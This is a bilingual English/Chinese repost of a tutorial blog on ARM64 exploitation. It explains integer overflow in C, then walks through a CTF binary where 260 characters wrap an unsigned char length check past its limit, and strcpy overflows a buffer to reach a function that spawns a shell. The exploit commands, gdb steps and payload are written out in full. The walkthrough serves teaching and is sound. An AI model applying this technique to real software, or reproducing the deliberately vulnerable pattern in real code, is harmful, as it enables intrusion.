ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

IoT 6个月前 admin
39 0 0

Hello everyone, 大家好,

In this blog, we will explore integer overflows and their potential to create issues within your software. We will provide a walkthrough of a small CTF binary to illustrate their risks. Before we begin, ensure you meet certain prerequisites below.
在这篇博客中,我们将探讨整数溢出及其在软件中产生问题的可能性。我们将提供一个小的 CTF 二进制文件的演练来说明它们的风险。在开始之前,请确保满足以下某些先决条件。

Prerequisites 先决条件

  • Familiarity with ARM64 assembly instructions.
    熟悉 ARM64 组装说明。

  • ARM64 environment with GEF.
    带有 GEF 的 ARM64 环境。

  • Ability to read and understand C code.
    能够阅读和理解 C 代码。

If you are new here, we recommend trying out our complete ARM64 Exploitation series.
如果您是新手,我们建议您尝试我们完整的 ARM64 开发系列。

Integer Overflow 整数溢出

So what is an integer overflow ?
那么什么是整数溢出呢?

Simply put, it’s a type of arithmetic overflow that occurs when the result of an integer operation doesn’t fit within the allocated memory space. On its own, integer overflow doesn’t raise significant concerns. However, it can lead to other vulnerabilities, such as buffer overflows, which can result in severe security issues. For example, if the software has a vulnerable function that could trigger a buffer overflow, and this function is protected by boundary checks, an integer overflow within those checks could allow us to bypass the protection and trigger the buffer overflow.
简单地说,它是一种算术溢出,当整数运算的结果不适合分配的内存空间时,就会发生这种情况。就其本身而言,整数溢出不会引起重大问题。但是,它可能导致其他漏洞,例如缓冲区溢出,从而导致严重的安全问题。例如,如果软件具有可能触发缓冲区溢出的易受攻击的函数,并且此函数受边界检查保护,则这些检查中的整数溢出可能允许我们绕过保护并触发缓冲区溢出。

If you visit the CWE Top 25 list on Mitre’s website, you’ll notice that integer overflows still exist and are ranked at number 14.
如果您访问 Mitre 网站上的 CWE Top 25 列表,您会注意到整数溢出仍然存在,并且排在第 14 位。

ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

To learn about this vulnerability in depth, we should start by revisiting C data types. Let’s take a quick look at that for a better understanding.
要深入了解此漏洞,我们应该从重新访问 C 数据类型开始。让我们快速浏览一下,以便更好地理解。

ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

In this table, you can see the different data types used in C, along with their ranges. The “Range” column provides information about the values these data types can hold
在此表中,您可以看到 C 中使用的不同数据类型及其范围。“范围”列提供有关这些数据类型可以容纳的值的信息
.

Let’s take an example, if you look at the unsigned short int data type, it can only store positive values, and its range is from 0 to 65535. Therefore, the minimum value it can hold is 0, and the maximum value it can hold is 65535. So what do you think will happen when we try fit a value larger than 65535? Let’s find out.
我们举个例子,如果你看一下无符号的短 int 数据类型,它只能存储正值,其范围是 from 0 to 65535 。因此,它可以保持的最小值是 ,它可以保持的最大值是 0 65535 。那么,您认为当我们尝试拟合大于 ? 65535 让我们来了解一下。

#include <stdio.h>

int main()
{
    unsigned short int a = 65535;
    printf("%d",a);


    return 0;
}

Consider the program above. We have defined an unsigned short int variable a which holds the maximum value of that type.
考虑上面的程序。我们定义了一个无符号的短 int 变量 a ,它保存该类型的最大值。

Let’s compile and run this program. You can also use this
让我们编译并运行这个程序。你也可以用这个
.

ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

As expected, the program prints the value present in the variable a. Let’s add one to it and see what happens.
正如预期的那样,程序打印变量 a 中存在的值。让我们给它添加一个,看看会发生什么。

#include <stdio.h>

int main()
{
    unsigned short int a = 65535+1;
    printf("%d",a);


    return 0;
}
ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

The program outputs 0 !! . If we look at the warning messages, it’s indicating an overflow. So what really happened here ? Let’s find out using our calculator.
程序输出 0 !!.如果我们查看警告消息,则表明存在溢出。那么这里到底发生了什么?让我们使用我们的计算器找出答案。

ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

The maximum value that fits in the unsigned short int variable is 65535 . The size of this data type is 2 bytes that is 16 bits. Looking at the calculator we can see that all those 16 bits are filled. Let’s add one to 65535, changing it to 65536
适合无符号短整型 int 变量的最大值为 65535 。此数据类型的大小为 2 个字节,即 16 位。查看计算器,我们可以看到所有这 16 位都被填满了。让我们添加一个 65535 ,将其 65536 更改为
.

ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

Now, if you examine the highlighted binary sequence closely, you’ll notice that the rightmost 16 bits are all zeros. Additionally, an extra 4 bits are displayed in the binary field. Therefore, the value 0001 0000 0000 0000 0000 is used to represent the value 65536, which no longer fits within the 2-byte (16-bit) size. As for the size of unsigned short int, only 16 bits would be used to represent the value, resulting in zero because the 16 rightmost bits in the binary representation are all zeros (which also equals zero in decimal).
现在,如果您仔细检查突出显示的二进制序列,您会注意到最右边的 16 位都是零。此外,二进制字段中还显示额外的 4 位。因此,该值 0001 0000 0000 0000 0000 用于表示不再 65536 适合 2-byte (16 位)大小的值。至于无符号短整数的大小,只有 16 位用于表示值,导致零,因为二进制表示中最右边的 16 位都是零(十进制也等于零)。

To summarize briefly, when we enter a value greater than 65535, which exceeds the maximum range of an unsigned short int with a size of 2 bytes, it will overflow, as observed in the binary field in the calculator, and wrap around to zero (specifically, the last 16 bits from the right). Consequently, the value becomes zero.
简而言之,当我们输入一个大于 65535 的值时,该值超出了大小为 2 字节的无符号短整数的最大范围,它将溢出,如计算器的二进制字段中所观察到的那样,并绕行到零(具体来说,右起最后 16 位)。因此,该值变为零。

Challenge Binary 挑战二进制

Its time to a challenge, check out the below c code.
是时候挑战了,请查看下面的 c 代码。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void check(char* password);

void win() {
    printf("Congrats You won you got a shell :)\n\n");
    system("/bin/sh");
}

int main(int argc, char* argv[]) {
    if (argc != 2) {
        printf("Provide me one argument\n");
        exit(0);
    }
    check(argv[1]);
    return 0;
}

void check(char* password) {
    char buffer[10];
    int user_win = 0;
    unsigned char length = strlen(password);
    printf("Welcome... Try getting a shell\n");
    printf("Length of your input is: %d\n", length);
    if (length >= 4 && length <= 8) {
        strcpy(buffer, password);
        if (user_win == 0x42424242) {
            win();
        } else {
            printf("You lost\n");
        }
    } else {
        printf("Keep the length between 4 and 8\n");
    }
}

Our objective here is to call the win() function. Let’s examine the code for a better understanding.
我们这里的目标是调用函数 win() 。让我们检查一下代码,以便更好地理解。

The program expects an input as an argument, and this input will be passed to the check() function, which contains three local variables:
程序需要一个输入作为参数,并且此输入将传递给函数,该 check() 函数包含三个局部变量:

char buffer[10];
int user_win = 0;
unsigned char length = strlen(password);

The length variable calculates the length of the input passed to the check() function. If the length falls within the range of 4 to 8 (inclusive), the data in the password parameter will be copied to the buffer. Afterward, it will compare the value of user_win to 0x42424242 (Hexadecimal). If it matches, the win() function will be called. To call the win() function, we need to trigger a buffer overflow in the program. Fortunately, the strcpy() function is used in the program to copy user input. However, there’s a catch, there is a sanity check before using strcpy(). So simply sending a sequence of ‘A’s won’t work this time. If you look closely enough, you can find another vulnerability:
该 length 变量计算传递给 check() 函数的输入的长度。如果长度在 4 到 8(含)的范围内,则 password 参数中的数据将复制到 buffer .之后,它将比较 user_win to 0x42424242 (十六进制)的值。如果匹配,则将调用该 win() 函数。要调用该 win() 函数,我们需要在程序中触发缓冲区溢出。幸运的是,该 strcpy() 函数在程序中用于复制用户输入。但是,有一个问题,使用 strcpy() 前有一个健全性检查.因此,这次简单地发送“A”序列是行不通的。如果仔细观察,可以发现另一个漏洞:

unsigned char length = strlen(password);

Yes, you guessed it. There’s an integer overflow in the length variable, and it’s being used for the sanity check. So we can bypass the sanity check by taking advantage of the integer overflow vulnerability.
是的,你猜对了。 length 变量中存在整数溢出,它用于健全性检查。因此,我们可以通过利用整数溢出漏洞来绕过健全性检查。

Let’s compile the source code and run our binary.
让我们编译源代码并运行我们的二进制文件。

gcc integer.c -o integer
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer Hello
Welcome... Try getting a shell
Length of your input is: 5
You lost

Let’s try with a large input.
让我们尝试使用较大的输入。

8ksec@debian:~/lab/challenges/integer_overflow$ ./integer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Welcome... Try getting a shell
Length of your input is: 80
Keep the length between 4 and 8

Just like we expected, the sanity check is preventing us to trigger the buffer overflow.
正如我们预期的那样,健全性检查阻止我们触发缓冲区溢出。

Now let’s take a look at the unsigned char data type.
现在让我们看一下 unsigned char 数据类型。

An unsigned char is used to represent an unsigned character data type in the C and C++ programming languages. It is a fundamental data type that can store small integer values ranging from 0 to 255 (or 0x00 to 0xFF in hexadecimal) and typically occupies 1 byte of memory. Thus, the maximum range is 255. Let’s explore what occurs when we attempt to store a value greater than 255
An unsigned char 用于表示 C 和 C++ 编程语言中的无符号字符数据类型。它是一种基本数据类型,可以存储从 0 to 255 (或 0x00 十六进制到 0xFF )的小整数值,通常占用 1 个字节的内存。因此,最大范围为 255 。让我们来探讨一下当我们尝试存储大于 255
.

ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

There you go, we have an integer overflow. We can check this using the calculator.
你去吧,我们有一个整数溢出。我们可以使用计算器来检查这一点。

ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

Let’s try adding one to this again.
让我们再次尝试添加一个。

#include <stdio.h>

int main()
{
    unsigned char a = 256 + 1;
    printf("%d",a);


    return 0;
}

Now we get 1 as the output. If we add one again, we will get 2, and so on. This behavior occurs because unsigned char wraps around to 0 when it exceeds its maximum value of 255. So, to bypass the check, we just need to send an input with more than 255 characters, allowing us to bypass the sanity check and trigger the buffer overflow.
现在我们得到 1 输出。如果我们再加一个,我们将得到 2 ,依此类推。出现此现象的原因是 unsigned char ,当它超过其最大值 255 时,将环绕到 0 。因此,要绕过检查,我们只需要发送一个包含多个 255 字符的输入,从而允许我们绕过健全性检查并触发缓冲区溢出。

Let’s try that. 让我们试试吧。

8ksec@debian:~/lab/challenges/integer_overflow$ (python3 -c 'print("A" * 256)')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c 'print("A" * 256)')
Welcome... Try getting a shell
Length of your input is: 0
Keep the length between 4 and 8
8ksec@debian:~/lab/challenges/integer_

Now, the length is showing as 0. To bypass the check, we need the length to be between 4 and 8. So let’s send 260characters.
现在,显示 length 为 0 .要绕过检查,我们需要 length 介于 4 和 8 之间。因此,让我们发送 260 字符。

8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c 'print("A" * 260)')
Welcome... Try getting a shell
Length of your input is: 4
You lost
Segmentation fault

Now that we’ve successfully bypassed the check and triggered the buffer overflow, the program crashes.
现在,我们已经成功绕过检查并触发了缓冲区溢出,程序崩溃了。

The next task is to set the user_win variable to 0x42424242 so that we can call our win() function. Firstly, we need to identify the input that overwrites the user_win variable. We can use a pattern for that.
下一个任务是将 user_win 变量设置为, 0x42424242 以便我们可以调用我们的 win() 函数。首先,我们需要确定覆盖变量的 user_win 输入。为此,我们可以使用一种模式。

https://wiremask.eu/tools/buffer-overflow-pattern-generator/

Let’s run the binary inside gdb.
让我们在 gdb 中运行二进制文件。

8ksec@debian:~/lab/challenges/integer_overflow$ gdb ./integer

Now disassemble the check() function.
现在拆解该 check() 函数。

gef➤  disass check
ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

The line 0x00000000000009b8 <+108>: cmp w1, w0 is comparing whether the user_win variable is equal to 0x42424242. Since Position-Independent Executable (PIE) is enabled, the addresses are not loaded yet. Therefore, let’s set a breakpoint at main() and run the program to debug it.
该行 0x00000000000009b8 <+108>: cmp w1, w0 正在比较 user_win 变量是否等于 0x42424242 。由于启用了与位置无关的可执行文件 (PIE),因此尚未加载地址。因此,让我们在 处 main() 设置一个断点并运行程序进行调试。

gef➤  b main
Breakpoint 1 at 0x910

Let’s also pass the pattern as the argument to the program.
我们还将模式作为参数传递给程序。

gef➤  r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai
ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

Now that the breakpoint has been hit and the addresses are loaded, let’s locate the address of the cmp instruction and set a breakpoint there.
现在,断点已命中并加载了地址,让我们找到 cmp 指令的地址并在那里设置断点。

ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability
gef➤  b *0x0000aaaaaaaa09b8
Breakpoint 2 at 0xaaaaaaaa09b8

Continue using c command until the program hits the breakpoint.
继续使用 c 命令,直到程序命中断点。

ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

Now, let’s examine the contents of w1 and w0w0 contains the pattern input we sent, and w1 contains the value 0x42424242. We’ve already know that BBBB corresponds to 0x42424242
现在,让我们检查 w1 一下 和 w0 的内容。 w0 包含我们发送的模式输入,并 w1 包含值 0x42424242 。我们已经知道,这对 BBBB 应于 0x42424242
.

Let’s find out the offset for the user_win variable.
让我们找出 user_win 变量的偏移量。

ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

It’s 12. Now that we know the offset and the value to overwrite the user_win variable, the payload will be as follows:
这是 12 .现在我们知道了偏移量和覆盖 user_win 变量的值,有效负载将如下所示:

payload = 12 * "A"s + BBBB + (260 - 12 - 4) * "A"s

So let’s try it.
所以让我们试试吧。

8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c 'print("A" * 12 + "BBBB" + (260 - 12 - 4) * "A")')
ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

Finally, we successfully bypassed the check, called the win() function by triggering the buffer overflow, and obtained our shell.
最后,我们成功绕过了检查,通过触发缓冲区溢出调用了 win() 函数,得到了我们的 shell。

 

原文始发于8ksec:ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability

版权声明:admin 发表于 2023年11月11日 上午11:48。
转载请注明:ARM64 Reversing And Exploitation Part 8 – Exploiting An Integer Overflow Vulnerability | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...